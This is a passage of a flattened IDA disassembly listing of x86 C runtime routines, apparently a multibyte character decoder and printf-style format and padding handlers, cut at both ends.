sub_44BD31+BFj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0E0h cmp eax, 0C0h jnz short loc_44BE23 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 1Fh mov [ebp+var_2], ax mov [ebp+var_3], 1 jmp short loc_44BE5B ; --------------------------------------------------------------------------- loc_44BE23: ; CODE XREF: sub_44BD31+DDj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0F0h cmp eax, 0E0h jnz short loc_44BE48 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0Fh mov [ebp+var_2], ax mov [ebp+var_3], 2 jmp short loc_44BE5B ; --------------------------------------------------------------------------- loc_44BE48: ; CODE XREF: sub_44BD31+102j call sub_44A781 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BE5B: ; CODE XREF: sub_44BD31+B7j ; sub_44BD31+CBj ... cmp [ebp+var_3], 0 jnz short loc_44BEA1 cmp [ebp+arg_0], 0 jz short loc_44BE71 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_44BE71: ; CODE XREF: sub_44BD31+134j mov edx, [ebp+arg_C] mov word ptr [edx+6], 0 cmp [ebp+var_2], 0 jnz short loc_44BE8A mov [ebp+var_C], 0 jmp short loc_44BE99 ; --------------------------------------------------------------------------- loc_44BE8A: ; CODE XREF: sub_44BD31+14Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_C], eax loc_44BE99: ; CODE XREF: sub_44BD31+157j mov eax, [ebp+var_C] jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BEA1: ; CODE XREF: sub_44BD31+12Ej inc [ebp+var_8] dec [ebp+arg_8] jmp loc_44BD7F ; --------------------------------------------------------------------------- loc_44BEAC: ; CODE XREF: sub_44BD31+27j mov [ebp+var_C], 0 cmp [ebp+arg_4], 0 jnz short loc_44BEDF mov eax, [ebp+arg_C] mov ecx, dword_40FB78 mov ebx, dword_40FB7C mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BEDF: ; CODE XREF: sub_44BD31+186j ; sub_44BD31+292j cmp [ebp+arg_8], 0 jnz short loc_44BF03 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BF03: ; CODE XREF: sub_44BD31+1B2j mov al, [ebp+var_3] cmp al, 10h jnb short loc_44BF3F movzx eax, al mov eax, off_411924[eax*4] mov [ebp+var_14], eax test eax, eax jz short loc_44BF3F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_44BF3F mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov edx, [ebp+var_14] mov ax, [edx+eax*2] mov [ebp+var_E], ax test ax, ax jnz short loc_44BF52 loc_44BF3F: ; CODE XREF: sub_44BD31+1D7j ; sub_44BD31+1E8j ... call sub_44A781 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BF52: ; CODE XREF: sub_44BD31+20Cj movzx eax, [ebp+var_E] mov edx, eax and edx, 0F00h sar edx, 8 mov [ebp+var_3], dl test eax, 8000h jz short loc_44BF7E movzx eax, [ebp+var_2] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_E] or eax, edx mov [ebp+var_2], ax loc_44BF7E: ; CODE XREF: sub_44BD31+238j test [ebp+var_E], 1000h jz short loc_44BFA0 movzx eax, [ebp+var_2] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+var_2], ax loc_44BFA0: ; CODE XREF: sub_44BD31+253j test [ebp+var_E], 4000h jz short loc_44BFBD mov eax, [ebp+var_8] cmp byte ptr [eax], 0 jz short loc_44BFBD inc [ebp+var_8] dec [ebp+arg_8] mov [ebp+var_C], 0 loc_44BFBD: ; CODE XREF: sub_44BD31+275j ; sub_44BD31+27Dj test [ebp+var_E], 2000h jz loc_44BEDF cmp [ebp+arg_0], 0 jz short loc_44BFD9 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_44BFD9: ; CODE XREF: sub_44BD31+29Cj mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax cmp [ebp+var_2], 0 jnz short loc_44BFFD mov [ebp+var_18], 0 jmp short loc_44C008 ; --------------------------------------------------------------------------- loc_44BFFD: ; CODE XREF: sub_44BD31+2C1j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_18], eax loc_44C008: ; CODE XREF: sub_44BD31+2CAj mov eax, [ebp+var_18] loc_44C00B: ; CODE XREF: sub_44BD31+49j ; sub_44BD31+6Dj ... pop ebx mov esp, ebp pop ebp retn sub_44BD31 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C011 proc near ; CODE XREF: sub_44ABC1+243p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx movzx eax, [ebp+arg_8] mov [ebp+var_4], eax cmp eax, 41h jl short loc_44C030 cmp eax, 47h jg short loc_44C03F jmp dword_40FC80[eax*4] ; --------------------------------------------------------------------------- loc_44C030: ; CODE XREF: sub_44C011+11j cmp [ebp+var_4], 25h jz loc_44C703 jmp loc_44C718 ; --------------------------------------------------------------------------- loc_44C03F: ; CODE XREF: sub_44C011+16j mov eax, [ebp+var_4] cmp eax, 58h jz loc_44C274 jl loc_44C718 mov eax, [ebp+var_4] cmp eax, 61h jl loc_44C718 cmp eax, 78h jg loc_44C718 jmp dword_40FC1C[eax*4] ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz short loc_44C09A mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, 4 mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ecx-4] mov [eax+edx], cl jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C09A: ; CODE XREF: sub_44C011+63j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov [ebp+var_6], ax mov [ebp+var_A], ax mov [ebp+var_8], 0 mov edx, [ebp+arg_0] or dword ptr [edx+2Ch], 0FFFFFFFFh lea eax, [ebp+var_A] push eax mov eax, [ebp+arg_0] push eax call sub_44D291 add esp, 8 test eax, eax jge loc_44C743 or eax, 0FFFFFFFFh jmp loc_44C745 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_44C101 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44C175 ; --------------------------------------------------------------------------- loc_44C101: ; CODE XREF: sub_44C011+D2j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_44C122 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44C169 ; --------------------------------------------------------------------------- loc_44C122: ; CODE XREF: sub_44C011+F7j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_44C143 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44C15D ; --------------------------------------------------------------------------- loc_44C143: ; CODE XREF: sub_44C011+118j mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44C15D: ; CODE XREF: sub_44C011+130j mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44C169: ; CODE XREF: sub_44C011+10Fj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44C175: ; CODE XREF: sub_44C011+EEj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_44C1A5 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dx, cx movsx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44C1EB ; --------------------------------------------------------------------------- loc_44C1A5: ; CODE XREF: sub_44C011+176j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_44C1C9 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dl, cl movsx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44C1EB ; --------------------------------------------------------------------------- loc_44C1C9: ; CODE XREF: sub_44C011+19Bj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_44C1D7 cmp al, 7Ah jnz short loc_44C1EB loc_44C1D7: ; CODE XREF: sub_44C011+1C0j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx loc_44C1EB: ; CODE XREF: sub_44C011+192j ; sub_44C011+1B6j ... mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_44C212 jl short loc_44C1FD test eax, eax jnb short loc_44C212 loc_44C1FD: ; CODE XREF: sub_44C011+1E6j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_44C250 ; --------------------------------------------------------------------------- loc_44C212: ; CODE XREF: sub_44C011+1E4j ; sub_44C011+1EAj mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_44C232 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_44C250 ; --------------------------------------------------------------------------- loc_44C232: ; CODE XREF: sub_44C011+20Aj mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_44C250 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_44C250: ; CODE XREF: sub_44C011+1FFj ; sub_44C011+21Fj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44D3E1 add esp, 8 jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C274: ; CODE XREF: sub_44C011+34j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_44C296 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44C307 ; --------------------------------------------------------------------------- loc_44C296: ; CODE XREF: sub_44C011+26Aj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_44C2B7 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44C2FB ; --------------------------------------------------------------------------- loc_44C2B7: ; CODE XREF: sub_44C011+28Cj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_44C2D8 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44C2EF ; --------------------------------------------------------------------------- loc_44C2D8: ; CODE XREF: sub_44C011+2ADj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44C2EF: ; CODE XREF: sub_44C011+2C5j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44C2FB: ; CODE XREF: sub_44C011+2A4j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44C307: ; CODE XREF: sub_44C011+283j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_44C336 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44C379 ; --------------------------------------------------------------------------- loc_44C336: ; CODE XREF: sub_44C011+308j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_44C35A mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44C379 ; --------------------------------------------------------------------------- loc_44C35A: ; CODE XREF: sub_44C011+32Cj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_44C368 cmp al, 7Ah jnz short loc_44C379 loc_44C368: ; CODE XREF: sub_44C011+351j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx xor ebx, ebx mov [eax], ecx mov [eax+4], ebx loc_44C379: ; CODE XREF: sub_44C011+323j ; sub_44C011+347j ... mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_44C3C4 mov edx, [eax+4] mov eax, [eax] test edx, edx jnz short loc_44C391 test eax, eax jz short loc_44C3C4 loc_44C391: ; CODE XREF: sub_44C011+37Aj mov al, [ebp+arg_8] cmp al, 78h jz short loc_44C39C cmp al, 58h jnz short loc_44C3C4 loc_44C39C: ; CODE XREF: sub_44C011+385j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov cl, [ebp+arg_8] mov [eax+edx], cl loc_44C3C4: ; CODE XREF: sub_44C011+371j ; sub_44C011+37Ej ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44D3E1 add esp, 8 jmp loc_44C743 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 4Ch jnz short loc_44C403 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] jmp short loc_44C413 ; --------------------------------------------------------------------------- loc_44C403: ; CODE XREF: sub_44C011+3DEj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] loc_44C413: ; CODE XREF: sub_44C011+3F0j fld [ebp+var_20] fstp qword ptr [eax] mov eax, [ebp+arg_0] push eax call sub_44D621 pop ecx cmp ax, 2 jz short loc_44C486 mov eax, [ebp+arg_0] test word ptr [eax+6], 8000h jz short loc_44C448 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_44C486 ; --------------------------------------------------------------------------- loc_44C448: ; CODE XREF: sub_44C011+420j mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_44C468 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_44C486 ; --------------------------------------------------------------------------- loc_44C468: ; CODE XREF: sub_44C011+440j mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_44C486 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_44C486: ; CODE XREF: sub_44C011+415j ; sub_44C011+435j ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44D631 add esp, 8 jmp loc_44C743 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+3Ah] mov [ebp+var_24], eax cmp eax, 68h jz loc_44C593 cmp eax, 6Ah jz short loc_44C53B cmp eax, 6Ch jz loc_44C5AE jg short loc_44C4D8 cmp [ebp+var_24], 62h jz short loc_44C4FD jmp loc_44C5C8 ; --------------------------------------------------------------------------- loc_44C4D8: ; CODE XREF: sub_44C011+4BAj mov eax, [ebp+var_24] cmp eax, 71h jz short loc_44C517 cmp eax, 74h jz short loc_44C55F cmp eax, 71h jl loc_44C5C8 cmp [ebp+var_24], 7Ah jz loc_44C579 jmp loc_44C5C8 ; --------------------------------------------------------------------------- loc_44C4FD: ; CODE XREF: sub_44C011+4C0j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], al jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C517: ; CODE XREF: sub_44C011+4CDj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C53B: ; CODE XREF: sub_44C011+4AFj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C55F: ; CODE XREF: sub_44C011+4D2j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C579: ; CODE XREF: sub_44C011+4E1j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C593: ; CODE XREF: sub_44C011+4A6j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], ax jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C5AE: ; CODE XREF: sub_44C011+4B4j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44C743 ; --------------------------------------------------------------------------- loc_44C5C8: ; CODE XREF: sub_44C011+4C2j ; sub_44C011+4D7j ... mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44C743 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [ebp+arg_0] mov edx, [edx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] xor ebx, ebx mov [eax], ecx mov [eax+4], ebx mov edx, [ebp+arg_0] mov dword ptr [edx+34h], 8 mov eax, [ebp+arg_0] or word ptr [eax+38h], 10h mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx push 78h mov eax, [ebp+arg_0] push eax call sub_44D3E1 add esp, 8 jmp loc_44C743 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz loc_44C6E0 mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [ebp+var_2C], edx mov [eax], edx mov edx, [ebp+arg_0] mov eax, [ebp+var_2C] mov eax, [eax-4] mov [edx+10h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_44C679 mov edx, [ebp+arg_0] mov dword ptr [edx+10h], offset dword_40FE00 loc_44C679: ; CODE XREF: sub_44C011+65Cj mov eax, [ebp+arg_0] mov [ebp+var_38], eax cmp dword ptr [eax+2Ch], 0 jge short loc_44C69A mov edx, [ebp+arg_0] mov edx, [edx+10h] or eax, 0FFFFFFFFh loc_44C68E: ; CODE XREF: sub_44C011+682j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44C68E mov [ebp+var_30], eax jmp short loc_44C6D5 ; --------------------------------------------------------------------------- loc_44C69A: ; CODE XREF: sub_44C011+672j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] push edx push 0 mov eax, [eax+10h] push eax call sub_44B381 add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_44C6C6 mov eax, [ebp+var_28] mov edx, [ebp+arg_0] mov edx, [edx+10h] sub eax, edx mov [ebp+var_34], eax jmp short loc_44C6CF ; --------------------------------------------------------------------------- loc_44C6C6: ; CODE XREF: sub_44C011+6A3j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+var_34], eax loc_44C6CF: ; CODE XREF: sub_44C011+6B3j mov eax, [ebp+var_34] mov [ebp+var_30], eax loc_44C6D5: ; CODE XREF: sub_44C011+687j mov eax, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+1Ch], eax jmp short loc_44C743 ; --------------------------------------------------------------------------- loc_44C6E0: ; CODE XREF: sub_44C011+636j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] push eax mov eax, [ebp+arg_0] push eax call sub_44D291 add esp, 8 test eax, eax jge short loc_44C743 or eax, 0FFFFFFFFh jmp short loc_44C745 ; --------------------------------------------------------------------------- loc_44C703: ; CODE XREF: sub_44C011+23j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 25h jmp short loc_44C743 ; --------------------------------------------------------------------------- loc_44C718: ; CODE XREF: sub_44C011+29j ; sub_44C011+3Aj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx cmp [ebp+arg_8], 0 jz short loc_44C733 movzx eax, [ebp+arg_8] mov [ebp+var_28], eax jmp short loc_44C73A ; --------------------------------------------------------------------------- loc_44C733: ; CODE XREF: sub_44C011+717j mov [ebp+var_28], 25h loc_44C73A: ; CODE XREF: sub_44C011+720j mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax+edx], cl loc_44C743: ; CODE XREF: sub_44C011+84j ; sub_44C011+BDj ... xor eax, eax loc_44C745: ; CODE XREF: sub_44C011+C6j ; sub_44C011+6F0j pop ebx mov esp, ebp pop ebp retn sub_44C011 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C751 proc near ; CODE XREF: sub_44ABC1+25Ap ; sub_44D291+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, [ebx+34h] sub eax, [ebx+14h] sub eax, [ebx+18h] sub eax, [ebx+1Ch] sub eax, [ebx+20h] sub eax, [ebx+24h] sub eax, [ebx+28h] mov [ebp+var_4], eax test word ptr [ebx+38h], 4 jnz short loc_44C7D0 cmp [ebp+var_4], 0 jle short loc_44C7D0 mov esi, [ebp+var_4] jmp short loc_44C7CC ; --------------------------------------------------------------------------- loc_44C788: ; CODE XREF: sub_44C751+7Dj cmp esi, 20h jbe short loc_44C796 mov [ebp+var_8], 20h jmp short loc_44C79B ; --------------------------------------------------------------------------- loc_44C796: ; CODE XREF: sub_44C751+3Aj mov eax, esi mov [ebp+var_8], eax loc_44C79B: ; CODE XREF: sub_44C751+43j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44C7CA push edi push offset asc_40FE08 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C7C2 add [ebx+30h], edi jmp short loc_44C7CA ; --------------------------------------------------------------------------- loc_44C7C2: ; CODE XREF: sub_44C751+6Aj or eax, 0FFFFFFFFh jmp loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C7CA: ; CODE XREF: sub_44C751+51j ; sub_44C751+6Fj sub esi, edi loc_44C7CC: ; CODE XREF: sub_44C751+35j test esi, esi jg short loc_44C788 loc_44C7D0: ; CODE XREF: sub_44C751+2Aj ; sub_44C751+30j cmp dword ptr [ebx+14h], 0 jle short loc_44C801 mov eax, [ebx+14h] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C7F9 mov eax, [ebx+14h] add [ebx+30h], eax jmp short loc_44C801 ; --------------------------------------------------------------------------- loc_44C7F9: ; CODE XREF: sub_44C751+9Ej or eax, 0FFFFFFFFh jmp loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C801: ; CODE XREF: sub_44C751+83j ; sub_44C751+A6j cmp dword ptr [ebx+18h], 0 jle short loc_44C854 mov esi, [ebx+18h] jmp short loc_44C850 ; --------------------------------------------------------------------------- loc_44C80C: ; CODE XREF: sub_44C751+101j cmp esi, 20h jbe short loc_44C81A mov [ebp+var_8], 20h jmp short loc_44C81F ; --------------------------------------------------------------------------- loc_44C81A: ; CODE XREF: sub_44C751+BEj mov eax, esi mov [ebp+var_8], eax loc_44C81F: ; CODE XREF: sub_44C751+C7j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44C84E push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C846 add [ebx+30h], edi jmp short loc_44C84E ; --------------------------------------------------------------------------- loc_44C846: ; CODE XREF: sub_44C751+EEj or eax, 0FFFFFFFFh jmp loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C84E: ; CODE XREF: sub_44C751+D5j ; sub_44C751+F3j sub esi, edi loc_44C850: ; CODE XREF: sub_44C751+B9j test esi, esi jg short loc_44C80C loc_44C854: ; CODE XREF: sub_44C751+B4j cmp dword ptr [ebx+1Ch], 0 jle short loc_44C885 mov eax, [ebx+1Ch] push eax mov eax, [ebx+10h] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C87D mov eax, [ebx+1Ch] add [ebx+30h], eax jmp short loc_44C885 ; --------------------------------------------------------------------------- loc_44C87D: ; CODE XREF: sub_44C751+122j or eax, 0FFFFFFFFh jmp loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C885: ; CODE XREF: sub_44C751+107j ; sub_44C751+12Aj cmp dword ptr [ebx+20h], 0 jle short loc_44C8D8 mov esi, [ebx+20h] jmp short loc_44C8D4 ; --------------------------------------------------------------------------- loc_44C890: ; CODE XREF: 